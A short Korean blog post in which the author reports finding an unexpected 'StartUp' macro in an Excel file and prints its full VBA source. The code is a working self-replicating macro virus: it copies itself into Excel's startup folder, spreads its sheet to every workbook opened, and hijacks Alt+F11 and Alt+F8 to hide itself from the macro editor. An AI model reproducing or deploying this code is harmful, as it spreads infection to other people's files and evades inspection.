몇일전에도 괜찮았던 엑셀파일을 불러오니 StartUp.xls를 불러올수 없다는 오류메세지가 나와서 혹시나해서 VBA 편집기를 통해 모듈을 보니 생뚱맞은 StartUp이라는 매크로가 포함되어 있었다..
아마도 악성코드를 통해 입력이 된것 같은데 PC를 한번 점검해봐야겠다.
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub
'Know-How' 카테고리의 다른 글
아이폰에서 MMS:// 영상, 스트리밍 영상 보기 (0) | 2012.01.29 |
---|---|
LG U+ 인터넷 전화 기능 안내 - 기업용 (0) | 2011.09.20 |
올레 장기마일리지(구) 포인트 사용하기 (0) | 2011.09.18 |
올레 Show 요금제 변경시 참고사항 (0) | 2011.09.02 |
Top-SK 포인트로 모바일 주유권 구입하기 (0) | 2011.08.11 |